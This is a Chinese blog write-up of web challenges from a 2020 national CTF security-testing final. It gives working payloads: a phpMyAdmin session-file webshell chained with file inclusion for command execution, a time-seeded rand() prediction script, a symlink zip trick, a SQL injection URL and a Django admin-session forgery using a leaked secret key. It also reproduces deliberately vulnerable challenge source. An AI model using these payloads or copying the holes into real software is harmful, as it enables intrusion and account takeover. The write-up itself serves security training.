2020年全国大赛总决赛【安全测试个人】web (慕测)

web1[复现]

虽然有order by注入,但并无太大用处,权限不够,也不能堆叠

  • 文件泄露
200   304B   http://120.26.75.91:38880/db.sql
200   502B   http://120.26.75.91:38880/Dockerfile
200     1KB  http://120.26.75.91:38880/index.php
200     1KB  http://120.26.75.91:38880/index.php/login/
301   326B   http://120.26.75.91:38880/phpMyAdmin
200     9KB  http://120.26.75.91:38880/phpMyAdmin/
200    37B   http://120.26.75.91:38880/robots.txt

当初做的时候,没去看db.sql 憨憨了

db.sql

CREATE USER 'test'@'%' IDENTIFIED BY 'HelloDASCTF';

CREATE DATABASE test;

use test;

CREATE TABLE goods (
  id int(11) primary key auto_increment,
  name varchar(256),
  price int(11)
);

INSERT INTO users values (1, '老八秘制小汉堡', 8),(2, '火鸡面', 1);

GRANT ALL ON test.* TO 'test'@'%';

Dockerfile

FROM dasctfbase/web_php73_apache_mysql

COPY src /var/www/html

# 如需自定义 FLAG 请将自定义脚本覆盖到 /flag.sh
COPY files/flag.sh /flag.sh

# 如需操作数据库请将 sql 文件拷贝到 /db.sql
COPY files/db.sql /db.sql

# 如有上传文件等操作请务必将权限设置正确!
# RUN chown www-data:www-data /var/www/html/uploads/

# 如需静态 FLAG 请在此利用环境变量声明
# ENV DASCTF=DASCTF{flag_test}

# 请声明对外暴露端口
EXPOSE 80

得到test密码为HelloDASCTF

登录phpMyadmin,并利用https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/

exp

sql语句执行

select "<?php eval($_GET[1]);?>";

之后获取自己的cookie,利用lif漏洞进行包含和rce

最后payload

http://120.26.75.91:38880/phpMyAdmin/?target=db_sql.php%253f/../../../../../../../../tmp/sess_e5c062c7a491ab91efb493da7afa1a1d&1=system(%27cat%20/ewkhr4uirh4ri34ur3iruird_flag_f%20%27);

web2

<?php
$key = "********";
srand(time()); 

$a = rand(0,100); 
$b = rand(0,100); 
$c = rand(0,100); 
$d = rand(0,100); 
$e = rand(0,100);

$result = ((($a - $b)/$c)+$d) * $e;
$result = md5($key.$result.$key);
show_source(__FILE__);  
?>

payload.py

import requests
import HackRequests
import re
import hashlib
from time import * 
hack = HackRequests.hackRequests()

def md5(data):
    return hashlib.md5(data.encode(encoding='UTF-8')).hexdigest()


url = "http://183.129.189.60:10007"

raw_orange = '''
POST /flag.php HTTP/1.1
Host: 183.129.189.60:10007
Content-Length: 39
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: username=xzas; PHPSESSID=43gd1ger6f4mk2lpbcp95sao23
Connection: close

answer=5dafe5ec8287afcd6f215bfc2d05c7b2
'''
first= hack.httpraw(raw_orange)
code = first.text()
code = code[160:-3]
print(code)


raw_orange = '''
POST /flag.php HTTP/1.1
Host: 183.129.189.60:10007
Content-Length: 39
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: username=xzas; PHPSESSID=43gd1ger6f4mk2lpbcp95sao23
Connection: close

answer={}
'''.format(code)
print(raw_orange)
hh = hack.httpraw(raw_orange)
print(hh.text())

web3

/tmp/upload_b1l57d01ch94fcs0opvl7llc13/*:

/tmp/upload_b1l57d01ch94fcs0opvl7llc13/*

构造软链接

zip -y flag.zip test 

web4

sql注入

http://183.129.189.60:10017/show.php?id=0'/**/or/**/'1'='1

web5[待补]

生成admin_session

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password

sess = signing.loads('.eJyrVsosjs_JT8_MU7IqKSpN1VEqTk0uSi1RslIqCwmrSvPxzM_J9DcwzHCvUNIBqU1MyQWpTUvMKQYqLi1OLYrPS8xNBapPSzUsN1CCimWmKFkZmdUCACadH_U:1kgesn:M6sm9YEyDl8Tz9BaE2enF1HgCEg',key='a!_+3-i$!9xje1di5jxn=#zsi88i69uq=n9f(exm8cjkg&k)i+',salt='django.contrib.sessions.backends.signed_cookies')
print sess
sess[u'is_admin']=True
print sess
s= signing.dumps(sess, key='a!_+3-i$!9xje1di5jxn=#zsi88i69uq=n9f(exm8cjkg&k)i+',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print s

访问source获得源代码

HTTP/1.1 200 OK
Date: Sun, 22 Nov 2020 02:33:49 GMT
Server: WSGIServer/0.2 CPython/3.5.2
Vary: Cookie
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 7786

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>只有我才能用的AESå›¾ç‰‡åŠ å¯†ç¨‹åº</title>
</head>
<body>
<h1>views.py</h1>
<code>
from django.shortcuts import render
from django.shortcuts import redirect
import hashlib
import string
import random
from . import models
from . import forms
from . import file_handle


def hash_code(s, salt='hellohacker'):
    h = hashlib.sha256()
    s += salt
    h.update(s.encode())
    return h.hexdigest()


# 未登录人员,不论是访问index还是login和logout,全部跳转到login界面
# 已登录人员,访问login会自动跳转到index页面
# 已登录人员,不允许直接访问register页面,需先logout
# 登出后,自动跳转到login界面
# Create your views here.
def index(request):

    if not request.session.get('is_login', None):
        return redirect('/login/')
    user = request.session.get('user_name')
    if not request.session.get('is_admin', None):
        message_f = 'ä½ ä¸æ˜¯ç®¡ç†å‘˜ï¼Œè¯·å˜æˆç®¡ç†å‘˜'
    else:
        message_s = '欢迎登陆,管理员'
    return render(request, 'login/index.html', locals())


def login(request):
    if request.session.get('is_login', None):
        return redirect('/index/')
    if request.method == "POST":
        login_form = forms.UserForm(request.POST)
        message = '请检查填写的内容!'
        if login_form.is_valid():
            username = login_form.cleaned_data.get('username')
            password = login_form.cleaned_data.get('password')
            try:
                user = models.User.objects.get(name=username)
            except:
                message = '用户不存在'
                return render(request, 'login/login.html', locals())

            if user.password == hash_code(password):
                request.session['is_login'] = True
                request.session['user_id'] = user.id
                request.session['user_name'] = user.name
                request.session['secret'] = ''.join(random.sample(string.ascii_letters+string.digits, 16))
                request.session['is_admin'] = False

                return redirect('/index/')
            else:
                message = 'å¯†ç ä¸æ­£ç¡®'
                return render(request, 'login/login.html', locals())

    login_form = forms.UserForm()
    return render(request, 'login/login.html', locals())


def register(request):
    if request.session.get('is_login', None):
        return redirect('/index/')

    if request.method == 'POST':
        register_form = forms.RegisterForm(request.POST)
        message = "请检查填写的内容"
        if register_form.is_valid():
            username = register_form.cleaned_data.get('username')
            password = register_form.cleaned_data.get('password')

            same_name_user = models.User.objects.filter(name=username)
            if same_name_user:
                message = '用户名已经存在'
                return render(request, 'login/register.html', locals())

            new_user = models.User()
            new_user.name = username
            new_user.password = hash_code(password)
            new_user.save()
            return redirect('/login/')
        else:
            return render(request, 'login/register.html', locals())
    register_form = forms.RegisterForm()
    return render(request, 'login/register.html', locals())


def logout(request):
    if not request.session.get('is_login', None):
        return redirect('/login/')
    request.session.flush()
    return redirect('/login/')


def upload_file(request):
    if not request.session.get('is_login', None):
        return redirect('/login/')
    if not request.session.get('is_admin', None):
        return render(request, 'login/admin.html')

    if request.method == 'POST':
        img = request.FILES.get('img', None)
        if img.content_type != 'image/png' or img.size > 300000 or img._name.split('.')[1] != 'png':
            message = 'åªå…è®¸ä¸Šä¼  png 文件且文件小于300kb'
            return render(request, 'login/result.html', locals())

        user = request.session.get('user_name')
        key = request.session.get('secret')
        file_handle.img_handle(img, key, user, img._name.split('.')[0])
        message = 'success'

        return render(request, 'login/result.html', locals())
    else:
        return render(request, 'login/upload.html', locals())


def show_source(request):
    if not request.session.get('is_login', None):
        return redirect('/login/')
    if not request.session.get('is_admin', None):
        return render(request, 'login/admin.html')

    return render(request, 'login/code.html')

</code>


<h1>file_handle.py</h1>
<code>
from PIL import Image
from . import pic_encrypto
from challenge import settings
import os
import hashlib


def img_handle(f, key, name, i_name):
    try:
        img = Image.open(f)
    except:
        return False
    h = hashlib.md5()
    h.update((name+key).encode())
    save_path = settings.MEDIA_ROOT + '/' + h.hexdigest()
    if not os.path.exists(save_path):
        os.makedirs(save_path.replace('\\', '/'))
    print(save_path)
    print(i_name)
    h.update((i_name + key).encode())
    print(h.hexdigest()+'.png')
    pic_encrypto.encrypt(img, key.encode(), save_path, h.hexdigest()+'.png')
</code>



<h1>pic_encrypto.py</h1>
<code>
from Crypto.Cipher import AES
import binascii
from PIL import Image


def replace_all(text, dic):
    for i, j in dic.items():
        i = i.encode()
        j = j.encode()
        text = text.replace(i, j)
    return text


def construct_enc_image(ciphertext, relength, width, height, save_path, i_name):
    asciicipher = binascii.hexlify(ciphertext)

    reps = {'a': '1', 'b': '2', 'c': '3', 'd': '4', 'e': '5', 'f': '6', 'g': '7', 'h': '8', 'i': '9', 'j': '10',
            'k': '11', 'l': '12', 'm': '13', 'n': '14', 'o': '15', 'p': '16', 'q': '17', 'r': '18', 's': '19',
            't': '20', 'u': '21', 'v': '22', 'w': '23', 'x': '24', 'y': '25', 'z': '26'}
    asciiciphertxt = replace_all(asciicipher, reps)

    step = 3
    encimageone = [asciiciphertxt[i:i + step] for i in range(0, len(asciiciphertxt), step)]

    if int(encimageone[len(encimageone) - 1]) < 100:
        encimageone[len(encimageone) - 1] += b"1"

    if len(encimageone) % 3 != 0:
        while (len(encimageone) % 3 != 0):
            encimageone.append(b"101")

    encimagetwo = [(int(encimageone[int(i)]), int(encimageone[int(i + 1)]), int(encimageone[int(i + 2)])) for i in
                   range(0, len(encimageone), step)]

    while (int(relength) != len(encimagetwo)):
        encimagetwo.pop()

    encim = Image.new("RGB", (int(width), int(height)))
    encim.putdata(encimagetwo)
    encim.save(save_path + '/' + i_name)


def encrypt(im, key, save_path, i_name):
    plaintext = list()
    plaintextstr = ""

    pix = im.load()

    width = im.size[0]
    height = im.size[1]

    for y in range(0, height):
        for x in range(0, width):
            plaintext.append(pix[x, y])

    for i in range(0, len(plaintext)):
        for j in range(0, 3):
            aa = int(plaintext[i][j]) + 100
            plaintextstr = plaintextstr + str(aa)

    relength = len(plaintext)
    plaintextstr = plaintextstr.encode()
    plaintextstr += b"h" + bytes(height) + b"h" + b"w" + bytes(width) + b"w"

    while (len(plaintextstr) % 16 != 0):
        plaintextstr = plaintextstr + b"n"

    key = key

    try:
        obj = AES.new(key, AES.MODE_CBC, b'aaaaaaaaaaaaaaaa')
    except:
        return False

    ciphertext = obj.encrypt(plaintextstr)
    # c = open("flag.crypto", 'wb')
    # c.write(flag)
    construct_enc_image(ciphertext, relength, width, height, save_path, i_name)

</code>
</body>
</html>

web6[待复现]

<?php
error_reporting(0);
//flag.php
if( isset( $_GET['code'] ) )
{
    $code = $_GET['code'];
    if( strlen( $code ) > 18 )
    {
        die("You really long, but i dont like more than 18cm");
    }

    if ( preg_match( "/\w/", $code ) )
    {
        die("i dislike it");
    }

    if ( preg_match( "/&|\||\^|\~|\!/", $code ) )
    {
        die("stop calculating");
    }

    if ( preg_match( "/\(|\)/", $code ) )
    {
        die("call function is not safe");
    }

    if ( preg_match( "/\(|\)/", $code ) )
    {
        die("call function is not safe");
    }

    if ( preg_match( "/\{|\}|\[|\]/", $code ) )
    {
        die( "fxcking brackets");
    }

    if ( preg_match( "/\\$|@|\./", $code ) )
    {
        die("$1 dou bu gei wo");
    }

    eval( $code ); //I believe that those noob hackers cannot hack me

} else {
    show_source(__FILE__);
}
?>

Web7-UploadAvatar[待复现]

<?php 

ini_set('open_basedir', './:/tmp/');
class User{
    private $pdoDb = 'mysql:host=mysql5.7;dbname=ctf;port=3306';
    private $user = [] ; 
    private $dbUserName='root';
    private $dbPassword='root';
    public $username = 'admin' ; 
    public $password  = '123456';
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $db = new PDO($this->pdoDb,$this->dbUserName,$this->dbPassword);
        $state = $db->query('select username,password from user where id=1');
        echo "<h2>username:  $this->username</h2>";
        echo "<h2>password:  $this->password</h2>";
        $res = $state->fetchAll()[0];
        if($res['username']===$this->username && $res['password']===md5($this->password)){
            include 'flag.php';
            echo $flag;
        }else{
            echo 'your are a hacker!';
        }
    }
}
parse_str(@$_SERVER['QUERY_STRING']);
$sandBox = $_SERVER['REMOTE_ADDR'];

if(!is_dir($sandBox)){
    mkdir($sandBox,0755,true);
    file_put_contents($sandBox.'/.htaccess','php_flag engine off');
}
switch($action){
    case '':
        highlight_file(__FILE__);
    break;
    case 'auth':
        if($username==''||$password==''){
            die('please input username and password!');
        }
        if(!file_exists($sandBox.'/pic.jpg')){
            echo '<h1>赶紧给自己传一个屌炸天的头像啊!!</h1>';
        }else{
            echo "<img src='".$sandBox.'/pic.jpg'."'/>";
        }
        $o = new User($username,$password);
        unserialize(serialize($o));
    break;
    case 'profile':
         if($_FILES){
             move_uploaded_file($_FILES['profile']['tmp_name'],$sandBox.'/pic.jpg');
         }
    break;
}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇